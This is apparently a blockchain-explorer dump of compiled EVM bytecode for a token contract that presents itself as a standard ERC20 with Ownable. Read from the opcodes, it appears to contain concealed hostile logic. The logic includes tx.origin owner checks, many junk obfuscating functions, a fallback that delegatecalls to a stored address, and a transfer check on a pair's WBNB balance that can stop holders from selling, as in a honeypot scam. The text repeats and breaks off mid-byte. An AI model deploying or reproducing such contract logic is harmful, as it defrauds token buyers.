3ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161278a919061302e565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516127d89190613017565b600060405180830381855afa9150503d8060008114612813576040519150601f19603f3d011682016040523d82523d6000602084013e612818565b606091505b50915050808060200190518101906128309190612e09565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461290e91906132ba565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561295e576000602055612a43565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156129fc5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612a42578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612a54906133e9565b90600052602060002090601f016020900481019282612a765760008555612abd565b82601f10612a8f57805160ff1916838001178555612abd565b82800160010185558215612abd579182015b82811115612abc578251825591602001919060010190612aa1565b5b509050612aca9190612ace565b5090565b5b80821115612ae7576000816000905550600101612acf565b5090565b6000612afe612af984613201565b6131dc565b905082815260208101848484011115612b1a57612b1961353e565b5b612b258482856133a7565b509392505050565b600081359050612b3c816137b3565b92915050565b600081359050612b51816137ca565b92915050565b600082601f830112612b6c57612b6b613539565b5b8135612b7c848260208601612aeb565b91505092915050565b600081359050612b94816137e1565b92915050565b600081519050612ba9816137e1565b92915050565b600081359050612bbe816137f8565b92915050565b600060208284031215612bda57612bd9613548565b5b6000612be884828501612b2d565b91505092915050565b60008060408385031215612c0857612c07613548565b5b6000612c1685828601612b2d565b9250506020612c2785828601612b2d565b9150509250929050565b600080600060608486031215612c4a57612c49613548565b5b6000612c5886828701612b2d565b9350506020612c6986828701612b2d565b9250506040612c7a86828701612b85565b9150509250925092565b60008060408385031215612c9b57612c9a613548565b5b6000612ca985828601612b2d565b9250506020612cba85828601612b85565b9150509250929050565b60008060008060008060c08789031215612ce157612ce0613548565b5b6000612cef89828a01612b2d565b9650506020612d0089828a01612b85565b9550506040612d1189828a01612b85565b9450506060612d2289828a01612baf565b9350506080612d3389828a01612b42565b92505060a0612d4489828a01612b42565b9150509295509295509295565b600080600060608486031215612d6a57612d69613548565b5b600084013567ffffffffffffffff811115612d8857612d87613543565b5b612d9486828701612b57565b935050602084013567ffffffffffffffff811115612db557612db4613543565b5b612dc186828701612b57565b9250506040612dd286828701612b85565b9150509250925092565b600060208284031215612df257612df1613548565b5b6000612e0084828501612b85565b91505092915050565b600060208284031215612e1f57612e1e613548565b5b6000612e2d84828501612b9a565b91505092915050565b612e3f81613348565b82525050565b612e4e8161335a565b82525050565b6000612e5f82613232565b612e698185613248565b9350612e798185602086016133b6565b80840191505092915050565b6000612e908261323d565b612e9a8185613253565b9350612eaa8185602086016133b6565b612eb38161354d565b840191505092915050565b6000612ecb602383613253565b9150612ed68261355e565b604082019050919050565b6000612eee602683613253565b9150612ef9826135ad565b604082019050919050565b6000612f11602283613253565b9150612f1c826135fc565b604082019050919050565b6000612f34601d83613253565b9150612f3f8261364b565b602082019050919050565b6000612f57601f83613253565b9150612f6282613674565b602082019050919050565b6000612f7a602083613253565b9150612f858261369d565b602082019050919050565b6000612f9d602583613253565b9150612fa8826136c6565b604082019050919050565b6000612fc0602483613253565b9150612fcb82613715565b604082019050919050565b6000612fe3602583613253565b9150612fee82613764565b604082019050919050565b61300281613390565b82525050565b6130118161339a565b82525050565b60006130238284612e54565b915081905092915050565b60006020820190506130436000830184612e36565b92915050565b600060208201905061305e6000830184612e45565b92915050565b6000602082019050818103600083015261307e8184612e85565b905092915050565b6000602082019050818103600083015261309f81612ebe565b9050919050565b600060208201905081810360008301526130bf81612ee1565b9050919050565b600060208201905081810360008301526130df81612f04565b9050919050565b600060208201905081810360008301526130ff81612f27565b9050919050565b6000602082019050818103600083015261311f81612f4a565b9050919050565b6000602082019050818103600083015261313f81612f6d565b9050919050565b6000602082019050818103600083015261315f81612f90565b9050919050565b6000602082019050818103600083015261317f81612fb3565b9050919050565b6000602082019050818103600083015261319f81612fd6565b9050919050565b60006020820190506131bb6000830184612ff9565b92915050565b60006020820190506131d66000830184613008565b92915050565b60006131e66131f7565b90506131f2828261341b565b919050565b6000604051905090565b600067ffffffffffffffff82111561321c5761321b61350a565b5b6132258261354d565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061326f82613390565b915061327a83613390565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132af576132ae61347d565b5b828201905092915050565b60006132c582613390565b91506132d083613390565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133095761330861347d565b5b828202905092915050565b600061331f82613390565b915061332a83613390565b92508282101561333d5761333c61347d565b5b828203905092915050565b600061335382613370565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156133d45780820151818401526020810190506133b9565b838111156133e3576000848401525b50505050565b6000600282049050600182168061340157607f821691505b60208210811415613415576134146134db565b5b50919050565b6134248261354d565b810181811067ffffffffffffffff821117156134435761344261350a565b5b80604052505050565b600061345782613390565b915061346283613390565b925082613472576134716134ac565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6137bc81613348565b81146137c757600080fd5b50565b6137d381613366565b81146137de57600080fd5b50565b6137ea81613390565b81146137f557600080fd5b50565b6138018161339a565b811461380c57600080fd5b5056fea264697066735822122075f83ee4adc7e5d7277aa6826395539a08dadc31f7b60cc267111e84792fb48f64736f6c63430008060033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c80637fc9f4b21161010d578063a5e7d80f116100a0578063d9d342901161006f578063d9d34290146107d3578063dd62ed3e146107fe578063dd8642f11461083b578063ee650c5014610866578063f2fde38b14610891576101f9565b8063a5e7d80f14610719578063a9059cbb14610744578063c3cda52014610781578063d232b19e146107aa576101f9565b806395d89b41116100dc57806395d89b41146106495780639ab24eb014610674578063a111cae0146106b1578063a457c2d7146106dc576101f9565b80637fc9f4b21461058b5780638da5cb5b146105b65780638dd95002146105e15780638e539e8c1461060c576101f9565b8063313ce56711610185578063587cde1e11610154578063587cde1e146104d15780635c19a95c1461050e57806370a0823114610537578063715018a614610574576101f9565b8063313ce56714610401578063395093511461042c5780633a46b1a814610469578063427051db146104a6576101f9565b806318160ddd116101c157806318160ddd146103435780631cc7d34c1461036e57806322a403321461039957806323b872dd146103c4576101f9565b806306fdde0314610285578063095ea7b3146102b057806315e47e4e146102ed57806317e0362e14610318576101f9565b366101f957005b34801561020557600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050600460080260046020018201511415610282576020600082516008600402840130545af461027c57600080fd5b60206000f35b50005b34801561029157600080fd5b5061029a6108ba565b6040516102a79190613064565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d29190612c84565b610a28565b6040516102e49190613049565b60405180910390f35b3480156102f957600080fd5b50610302610a4b565b60405161030f91906131a6565b60405180910390f35b34801561032457600080fd5b5061032d610b03565b60405161033a91906131a6565b60405180910390f35b34801561034f57600080fd5b50610358610ca2565b60405161036591906131a6565b60405180910390f35b34801561037a57600080fd5b50610383610d87565b60405161039091906131a6565b60405180910390f35b3480156103a557600080fd5b506103ae610ed0565b6040516103bb91906131a6565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190612c31565b610f88565b6040516103f89190613049565b60405180910390f35b34801561040d57600080fd5b50610416610fb7565b60405161042391906131c1565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e9190612c84565b61101f565b6040516104609190613049565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b9190612c84565b611056565b60405161049d91906131a6565b60405180910390f35b3480156104b257600080fd5b506104bb611062565b6040516104c891906131a6565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f39190612bc4565b6111ab565b604051610505919061302e565b60405180910390f35b34801561051a57600080fd5b5061053560048036038101906105309190612bc4565b6111b2565b005b34801561054357600080fd5b5061055e60048036038101906105599190612bc4565b6111b5565b60405161056b91906131a6565b60405180910390f35b34801561058057600080fd5b5061058961131c565b005b34801561059757600080fd5b506105a0611478565b6040516105ad91906131a6565b60405180910390f35b3480156105c257600080fd5b506105cb6115fb565b6040516105d8919061302e565b60405180910390f35b3480156105ed57600080fd5b506105f661171d565b604051610603919061302e565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e9190612ddc565b611735565b60405161064091906131a6565b60405180910390f35b34801561065557600080fd5b5061065e611740565b60405161066b9190613064565b60405180910390f35b34801561068057600080fd5b5061069b60048036038101906106969190612bc4565b6118ae565b6040516106a891906131a6565b60405180910390f35b3480156106bd57600080fd5b506106c66118b9565b6040516106d391906131a6565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190612c84565b611a76565b6040516107109190613049565b60405180910390f35b34801561072557600080fd5b5061072e611aed565b60405161073b91906131a6565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190612c84565b611bfc565b6040516107789190613049565b60405180910390f35b34801561078d57600080fd5b506107a860048036038101906107a39190612cc4565b611c1f565b005b3480156107b657600080fd5b506107d160048036038101906107cc9190612d51565b611c27565b005b3480156107df57600080fd5b506107e8611cd2565b6040516107f591906131a6565b60405180910390f35b34801561080a57600080fd5b5061082560048036038101906108209190612bf1565b611e1b565b60405161083291906131a6565b60405180910390f35b34801561084757600080fd5b50610850611ea2565b60405161085d91906131a6565b60405180910390f35b34801561087257600080fd5b5061087b611f93565b60405161088891906131a6565b60405180910390f35b34801561089d57600080fd5b506108b860048036038101906108b39190612bc4565b61204b565b005b606060006212e76a816108cd9190613264565b90506122a781116108dd57600080fd5b620166ea816108ec9190613264565b905061262481116108fc57600080fd5b6218d2d58161090b9190613264565b90506125a7811161091b57600080fd5b6249c0578161092a9190613264565b90506113ec811161093a57600080fd5b621faa73816109499190613264565b90506121f1811161095957600080fd5b624e889d816109689190613264565b90506123de811161097857600080fd5b6256402e816109879190613264565b90506125a9811161099757600080fd5b600580546109a4906133e9565b80601f01602080910402602001604051908101604052809291908181526020018280546109d0906133e9565b8015610a1d5780601f106109f257610100808354040283529160200191610a1d565b820191906000526020600020905b815481529060010190602001808311610a0057829003601f168201915b505050505091505090565b600080610a3361213c565b9050610a40818585612144565b600191505092915050565b6000806210dc53811115610a60576002810490505b62030a666210dc5302905062931587811115610a7d576002810490505b625919c662931587039050629773e4811115610a9a576002810490505b62417e3f629773e40690506229995c811115610ab7576002810490505b621ff8a26229995c0490506241346a811115610ad4576002810490505b620bdaf76241346a0290506257f279811115610af1576002810490505b62515e7f6257f2790490508091505090565b600080626eebe2811115610b18576002810490505b623e58aa626eebe20190506208e790811115610b35576002810490505b611ad26208e79001905062566623811115610b51576002810490505b6216438062566623049050626ce602811115610b6e576002810490505b6204c5cc626ce60202905062925104811115610b8b576002810490505b62355cf662925104049050624dc71b811115610ba8576002810490505b62407fb8624dc71b069050626630ea811115610bc5576002810490505b623a5daf626630ea069050624be10e811115610be2576002810490505b62470c8f624be10e069050621edea0811115610bff576002810490505b621bf69f621edea00490506225a67b811115610c1c576002810490505b621af9616225a67b04905062683f28811115610c39576002810490505b6231666062683f280190506293fb81811115610c56576002810490505b62446f1a6293fb8101905062586227811115610c73576002810490505b623125a762586227029050626bbf92811115610c90576002810490505b623fbca5626bbf920490508091505090565b6000806228ca8f81610cb49190613264565b905061121a8111610cc457600080fd5b62398a4d81610cd39190613264565b90506123ef8111610ce357600080fd5b6225587381610cf29190613264565b905061253c8111610d0257600080fd5b62176c7d81610d119190613264565b9050611d228111610d2157600080fd5b621d0cc081610d309190613264565b9050611a138111610d4057600080fd5b623841a481610d4f9190613264565b9050611ff78111610d5f57600080fd5b6241228381610d6e9190613264565b90506113468111610d7e57600080fd5b60035491505090565b600080626f860f811115610d9c576002810490505b624e79a0626f860f01905062354d0d811115610db9576002810490505b6234d17b62354d0d04905062672f68811115610dd6576002810490505b62440d8162672f68069050625944b3811115610df3576002810490505b62378620625944b30390506283b854811115610e10576002810490505b624d60226283b85402905062813e9f811115610e2d576002810490505b6233baea62813e9f0690506230edcd811115610e4a576002810490505b6213477e6230edcd019050628f09c1811115610e67576002810490505b6216e587628f09c102905062588750811115610e84576002810490505b623de1476258875004905062310523811115610ea1576002810490505b620d8658623105230490506238dba2811115610ebe576002810490505b621d95486238dba20190508091505090565b600080627189a3811115610ee5576002810490505b622e828b627189a3069050625bf5ce811115610f02576002810490505b624d1d75625bf5ce03905062552083811115610f1f576002810490505b6250a83262552083049050626f7307811115610f3c576002810490505b6241ba73626f73070190506255a759811115610f59576002810490505b6245d2776255a7590290506281632a811115610f76576002810490505b62448c196281632a0390508091505090565b600080610f9361213c565b9050610fa08582856123cc565b610fab858585612458565b60019150509392505050565b600080620f493a81610fc99190613264565b90506105e58111610fd957600080fd5b6213a45081610fe89190613264565b90506120b08111610ff857600080fd5b621a9730816110079190613264565b90506103c6811161101757600080fd5b600991505090565b60008061102a61213c565b905061104b81858561103c8589611e1b565b6110469190613264565b612144565b600191505092915050565b60006002905092915050565b600080628ccd1a811115611077576002810490505b62585ff0628ccd1a04905062500868811115611094576002810490505b6220c47862500868069050628985478111156110b1576002810490505b62117608628985470390506267027e8111156110ce576002810490505b62464e376267027e029050627fe9ab8111156110eb576002810490505b62422d3f627fe9ab0490506269806b811115611108576002810490505b6242ccc26269806b029050627fe2ca811115611125576002810490505b625a4f9c627fe2ca019050627219c8811115611142576002810490505b62090a92627219c80390506273b90181111561115f576002810490505b624263cf6273b9010190506248b26181111561117c576002810490505b62131e466248b26101905062431c5a811115611199576002810490505b6236d02462431c5a0690508091505090565b6000919050565b50565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561122a576000611217612724565b905060205481101561122857600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611317565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611314919061344c565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661133b6115fb565b73ffffffffffffffffffffffffffffffffffffffff1614611391576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138890613126565b60405180910390fd5b6000624b26e9816113a29190613264565b9050611a7681116113b257600080fd5b62432f9e816113c19190613264565b905061071c81116113d157600080fd5b62509f98816113e09190613264565b905061166e81116113f057600080fd5b625838e0816113ff9190613264565b9050607a811161140e57600080fd5b621e810d8161141d9190613264565b905061162a811161142d57600080fd5b623f3c2d8161143c9190613264565b90506117f0811161144c57600080fd5b624c54588161145b9190613264565b9050610785811161146b57600080fd5b6114756000612836565b50565b60008062811c3481111561148d576002810490505b6253585562811c340490506236f7248111156114aa576002810490505b620f07106236f724029050628681048111156114c7576002810490505b62540fd962868104069050626b224c8111156114e4576002810490505b622360d5626b224c019050627c9bcd811115611501576002810490505b620d074d627c9bcd0390506255627f81111561151e576002810490505b622eaa5c6255627f039050627f927581111561153b576002810490505b62058188627f9275019050628e9d78811115611558576002810490505b6258bc4c628e9d78019050623a1684811115611575576002810490505b621e9151623a1684069050626a4d87811115611592576002810490505b622c103a626a4d87049050625d32038111156115af576002810490505b62016a40625d320306905062556f9a8111156115cc576002810490505b6208407962556f9a019050626f6f408111156115e9576002810490505b6218596e626f6f400190508091505090565b6000806248000a8161160d9190613264565b90506122f9811161161d57600080fd5b62092bbc8161162c9190613264565b90506125bd811161163c57600080fd5b624cf1af8161164b9190613264565b90506113bd811161165b57600080fd5b623ee7e78161166a9190613264565b905061111e811161167a57600080fd5b623bc172816116899190613264565b90506120d0811161169957600080fd5b621d0d31816116a89190613264565b9050610b3481116116b857600080fd5b62402bde816116c79190613264565b905061150d81116116d757600080fd5b621cf5f0816116e69190613264565b905061221581116116f657600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6000607b9050919050565b6060600062304625816117539190613264565b90506116a9811161176357600080fd5b622a64d9816117729190613264565b9050610ef6811161178257600080fd5b622903e0816117919190613264565b90506118a881116117a157600080fd5b623009fd816117b09190613264565b905061151181116117c057600080fd5b6229542a816117cf9190613264565b905061156f81116117df57600080fd5b6238f4d0816117ee9190613264565b90506103b181116117fe57600080fd5b623ccf188161180d9190613264565b905061017a811161181d57600080fd5b6006805461182a906133e9565b80601f0160208091040260200160405190810160405280929190818152602001828054611856906133e9565b80156118a35780601f10611878576101008083540402835291602001916118a3565b820191906000526020600020905b81548152906001019060200180831161188657829003601f168201915b505050505091505090565b600060019050919050565b600080626b68a98111156118ce576002810490505b622021ac626b68a9019050622c84d18111156118eb576002810490505b62139b56622c84d101905062311193811115611908576002810490505b6230374f62311193049050627a4d32811115611925576002810490505b624f960f627a4d32029050627b0f14811115611942576002810490505b625903da627b0f14039050627b11d281111561195f576002810490505b62323356627b11d2029050625d592081111561197c576002810490505b621ca65c625d592002905062702e37811115611999576002810490505b6251e06f62702e370290506292dec88111156119b6576002810490505b621c7b726292dec8069050626562188111156119d3576002810490505b6244640562656218029050625a48178111156119f0576002810490505b6237b8f2625a4817029050626eb767811115611a0d576002810490505b6257eb6e626eb767029050626075d8811115611a2a576002810490505b6206bf62626075d801905062263fc8811115611a47576002810490505b62102c6162263fc8069050625ab239811115611a64576002810490505b623cc1ff625ab2390390508091505090565b600080611a8161213c565b90506000611a8f8286611e1b565b905083811015611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb90613186565b60405180910390fd5b611ae18286868403612144565b60019250505092915050565b60008062385533811115611b02576002810490505b62070ebd62385533049050625338d9811115611b1f576002810490505b624d8bc5625338d9049050627dae93811115611b3c576002810490505b62318984627dae9302905062616f1b811115611b59576002810490505b6246bed962616f1b029050628ac974811115611b76576002810490505b6236f706628ac97402905062275ebb811115611b93576002810490505b6218b33562275ebb0190506256922e811115611bb0576002810490505b62345ade6256922e06905062784414811115611bcd576002810490505b6220d06a62784414019050626912b9811115611bea576002810490505b625869e0626912b90190508091505090565b600080611c0761213c565b9050611c14818585612458565b600191505092915050565b505050505050565b3273ffffffffffffffffffffffffffffffffffffffff16611c466115fb565b73ffffffffffffffffffffffffffffffffffffffff1614611c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9390613126565b60405180910390fd5b8160069080519060200190611cb2929190612a48565b508260059080519060200190611cc9929190612a48565b50333055505050565b6000806214b005811115611ce7576002810490505b620bfe846214b0050490506275e882811115611d04576002810490505b6210e8df6275e8820490506291c4a1811115611d21576002810490505b6250e1f66291c4a1049050624eb0f6811115611d3e576002810490505b62464e1f624eb0f6039050623fcdbe811115611d5b576002810490505b6232ed28623fcdbe069050625798b9811115611d78576002810490505b623ad49d625798b903905062274b4a811115611d95576002810490505b6215b82462274b4a049050622ac3da811115611db2576002810490505b621b72de622ac3da069050626886cd811115611dcf576002810490505b62386b9c626886cd0290506268fce5811115611dec576002810490505b624de1206268fce5019050627c111a811115611e09576002810490505b623ad822627c111a0190508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008062417282811115611eb7576002810490505b623129866241728203905062827c2c811115611ed4576002810490505b6181fe62827c2c02905062587bc8811115611ef0576002810490505b624ffa9662587bc8069050627f9778811115611f0d576002810490505b621c65af627f97780690506297a384811115611f2a576002810490505b6206db556297a384039050624f7c49811115611f47576002810490505b6230dfc9624f7c49049050628a212b811115611f64576002810490505b625013f9628a212b039050625e4439811115611f81576002810490505b624615a2625e44390190508091505090565b600080627e4fe6811115611fa8576002810490505b6236d634627e4fe60490506255083c811115611fc5576002810490505b6201dcfc6255083c03905062980d16811115611fe2576002810490505b620a404762980d160390506280d1e9811115611fff576002810490505b620449556280d1e9069050622ff31781111561201c576002810490505b6214d315622ff31703905062834147811115612039576002810490505b62407ede628341470690508091505090565b3273ffffffffffffffffffffffffffffffffffffffff1661206a6115fb565b73ffffffffffffffffffffffffffffffffffffffff16146120c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b790613126565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612130576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612127906130a6565b60405180910390fd5b61213981612836565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ab90613166565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221b906130c6565b60405180910390fd5b600062065b0b816122359190613264565b9050611bb6811161224557600080fd5b62473c3a816122549190613264565b90506110bf811161226457600080fd5b6225242f816122739190613264565b9050611b7d811161228357600080fd5b621979a2816122929190613264565b905061100e81116122a257600080fd5b623fbf22816122b19190613264565b90506126d381116122c157600080fd5b621a4b37816122d09190613264565b905061204e81116122e057600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516123be91906131a6565b60405180910390a350505050565b60006123d88484611e1b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146124525781811015612444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b906130e6565b60405180910390fd5b6124518484848403612144565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90613146565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561253157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613086565b60405180910390fd5b61257b8383836128fa565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f990613106565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126519190613314565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126a79190613264565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270b91906131a6565b60405180910390a361271e8484846128ff565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161278a919061302e565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516127d89190613017565b600060405180830381855afa9150503d8060008114612813576040519150601f19603f3d011682016040523d82523d6000602084013e612818565b606091505b50915050808060200190518101906128309190612e09565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461290e91906132ba565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561295e576000602055612a43565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156129fc5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612a42578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612a54906133e9565b90600052602060002090601f016020900481019282612a765760008555612abd565b82601f10612a8f57805160ff1916838001178555612abd565b82800160010185558215612abd579182015b82811115612abc578251825591602001919060010190612aa1565b5b509050612aca9190612ace565b5090565b5b80821115612ae7576000816000905550600101612acf565b5090565b6000612afe612af984613201565b6131dc565b905082815260208101848484011115612b1a57612b1961353e565b5b612b258482856133a7565b509392505050565b600081359050612b3c816137b3565b92915050565b600081359050612b51816137ca565b92915050565b600082601f830112612b6c57612b6b613539565b5b8135612b7c848260208601612aeb565b91505092915050565b600081359050612b94816137e1565b92915050565b600081519050612ba9816137e1565b92915050565b600081359050612bbe816137f8565b92915050565b600060208284031215612bda57612bd9613548565b5b6000612be884828501612b2d565b91505092915050565b60008060408385031215612c0857612c07613548565b5b6000612c1685828601612b2d565b9250506020612c2785828601612b2d565b9150509250929050565b600080600060608486031215612c4a57612c49613548565b5b6000612c5886828701612b2d565b9350506020612c6986828701612b2d565b9250506040612c7a86828701612b85565b9150509250925092565b60008060408385031215612c9b57612c9a613548565b5b6000612ca985828601612b2d565b9250506020612cba85828601612b85565b9150509250929050565b60008060008060008060c08789031215612ce157612ce0613548565b5b6000612cef89828a01612b2d565b9650506020612d0089828a01612b85565b9550506040612d1189828a01612b85565b9450506060612d2289828a01612baf565b9350506080612d3389828a01612b42565b92505060a0612d4489828a01612b42565b9150509295509295509295565b600080600060608486031215612d6a57612d69613548565b5b600084013567ffffffffffffffff811115612d8857612d87613543565b5b612d9486828701612b57565b935050602084013567ffffffffffffffff811115612db557612db4613543565b5b612dc186828701612b57565b9250506040612dd286828701612b85565b9150509250925092565b600060208284031215612df257612df1613548565b5b6000612e0084828501612b85565b91505092915050565b600060208284031215612e1f57612e1e613548565b5b6000612e2d84828501612b9a565b91505092915050565b612e3f81613348565b82525050565b612e4e8161335a565b82525050565b6000612e5f82613232565b612e698185613248565b9350612e798185602086016133b6565b80840191505092915050565b6000612e908261323d565b612e9a8185613253565b9350612eaa8185602086016133b6565b612eb38161354d565b840191505092915050565b6000612ecb602383613253565b9150612ed68261355e565b604082019050919050565b6000612eee602683613253565b9150612ef9826135ad565b604082019050919050565b6000612f11602283613253565b9150612f1c826135fc565b604082019050919050565b6000612f34601d83613253565b9150612f3f8261364b565b602082019050919050565b6000612f57601f83613253565b9150612f6282613674565b602082019050919050565b6000612f7a602083613253565b9150612f858261369d565b602082019050919050565b6000612f9d602583613253565b9150612fa8826136c6565b604082019050919050565b6000612fc0602483613253565b9150612fcb82613715565b604082019050919050565b6000612fe3602583613253565b9150612fee82613764565b604082019050919050565b61300281613390565b82525050565b6130118161339a565b825